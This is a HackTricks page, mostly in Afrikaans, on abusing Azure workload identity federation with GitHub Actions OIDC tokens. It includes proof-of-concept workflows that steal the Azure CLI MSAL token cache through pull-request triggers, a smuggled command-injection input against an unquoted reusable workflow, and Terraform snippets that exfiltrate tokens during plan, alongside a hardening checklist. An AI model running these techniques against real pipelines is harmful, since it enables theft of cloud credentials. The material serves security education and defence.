Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
GitHub Actions kan ‘federate’ na Azure Entra ID (voorheen Azure AD) met OpenID Connect (OIDC). ’n GitHub workflow vra ’n kortstondige GitHub ID-token (JWT) aan wat besonderhede oor die run enkodeer. Azure valideer hierdie token teen ’n Federated Identity Credential (FIC) op ’n App Registration (service principal) en ruil dit in vir Azure-toegangstokens (MSAL cache, bearer tokens vir Azure APIs).
Azure valideer ten minste:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (wanneer dit vir Azure-tokens omgeruil word)
- sub: moet ooreenstem met die geconfigureerde FIC Subject identifier
Die standaard GitHub aud mag ’n GitHub URL wees. Wanneer jy met Azure ruil, stel uitdruklik audience=api://AzureADTokenExchange.
GitHub ID token vinnige PoC
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
Om Azure audience op token request af te dwing:
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
Azure opstelling (Workload Identity Federation)
-
Skep App Registration (service principal) en verleen die minste nodige regte (bv. Storage Blob Data Contributor op ’n spesifieke storage account).
-
Voeg Federated identity credentials toe:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: noukeurig beperk tot die beoogde workflow/run-konteks (sien Scoping and risks hieronder).
- Gebruik azure/login om die GitHub ID-token te ruil en by die Azure CLI aan te meld:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
Handmatige uitruilvoorbeeld (Graph-omvang getoon; ARM of ander hulpbronne soortgelyk):
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
GitHub OIDC subject (sub) anatomie en aanpassing
Standaard sub-formaat: repo:
Kontekswaardes sluit in:
- environment:
- pull_request (PR word geaktiveer wanneer dit nie in ’n omgewing is nie)
- ref:refs/(heads|tags)/
Nuttige claims wat dikwels in die payload voorkom:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Pas sub-samestelling aan via die GitHub API om addisionele claims in te sluit en botsingsrisiko te verminder:
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
Nota: Dubbelpunte in omgewingname is URL‑gekodeer (%3A), wat ouer delimiter‑inspuitingstegnieke teen sub‑parsing uitskakel. Dit is egter steeds onveilig om nie‑unikale subjekte te gebruik (bv. net environment:
Omvang en risiko’s van FIC-subjektipe
- Tak/Tag: sub=repo:
/ :ref:refs/heads/ of ref:refs/tags/ - Risiko: As die tak/tag onbeskerm is, kan enige bydraer push en tokens verkry.
- Omgewing: sub=repo:
/ :environment: - Risiko: Onbeskermde omgewings (geen beoordelaars) laat bydraers toe om tokens te mint.
- Pull request: sub=repo:
/ :pull_request - Hoogste risiko: Enige samewerker kan ’n PR oopmaak en die FIC bevredig.
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
Gerelateerde lêerliggings en notas:
- Linux/macOS: ~/.azure/msal_token_cache.json hou MSAL-tokens vir az CLI-sessies
- Windows: msal_token_cache.bin onder gebruikersprofiel; DPAPI‑protected
Herbruikbare workflows en job_workflow_ref-omvang
Om ’n herbruikbare workflow aan te roep voeg job_workflow_ref by die GitHub ID-token, bv.:
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
FIC-voorbeeld om beide die caller repo en die reusable workflow te koppel:
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
Konfigureer claims in die caller repo sodat beide repo en job_workflow_ref in sub teenwoordig is:
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
Waarskuwing: As jy slegs job_workflow_ref in die FIC bind, kan ’n aanvaller ’n ander repo in dieselfde org skep, dieselfde herbruikbare workflow op dieselfde ref uitvoer, die FIC bevredig, en tokens mint. Sluit altyd ook die caller repo in.
Code-uitvoeringsvektore wat job_workflow_ref-beskermings omseil
Selfs met ’n korrek afgebakende job_workflow_ref, kan enige caller‑controlled data wat die shell sonder veilige aanhaling bereik, lei tot code-uitvoering binne die beskermde workflow‑konteks.
Voorbeeld van ’n kwesbare herbruikbare stap (interpolasie sonder aanhalingstekens):
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
Kwaadaardige caller input om commands uit te voer en die Azure token cache te exfiltreer:
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
Terraform plan as an execution primitive in PRs
Behandel Terraform plan as kode-uitvoering. Tydens die plan kan Terraform:
- Lees enige lêers via funksies soos file()
- Voer opdragte uit via die external data source
Voorbeeld om die Azure token cache tydens die plan te exfiltrate:
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
Of gebruik external om arbitrêre opdragte uit te voer:
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
Uithardingskontrolelys
- Gebruik nooit sub=…:pull_request vir sensitiewe FICs nie
- Beskerm enige branch/tag/environment wat deur FICs verwys word (branch protection, environment reviewers)
- Verkies FICs wat afgebaken is tot beide repo en job_workflow_ref vir herbruikbare workflows
- Pas GitHub OIDC sub aan om unieke claims in te sluit (bv., repo, job_workflow_ref, repository_owner)
- Elimineer interpolasie van caller inputs wat nie in aanhalingstekens staan nie in run steps; enkodeer/kwoteer veilig
- Behandel terraform plan as kode-uitvoering; beperk of isoleer identiteite in PR-kontekste
- Dwing minste voorreg af op App Registrations; skei identiteite vir plan vs apply
- Pin actions en herbruikbare workflows na commit SHA’s (vermy branch/tag pins)
Handmatige toetswenke
- Vra ’n GitHub ID token in‑workflow aan en druk dit base64 om masking te vermy
- Dekodeer JWT om claims te inspekteer: iss, aud, sub, job_workflow_ref, repository, ref
- Ruil die ID token handmatig by login.microsoftonline.com uit om FIC-matching en scopes te bevestig
- Na azure/login, lees ~/.azure/msal_token_cache.json om teenwoordigheid van tokenmateriaal te verifieer
References
- GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)
- azure/login action
- Terraform external data source
- gh CLI
- PaloAltoNetworks/github-oidc-utils
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

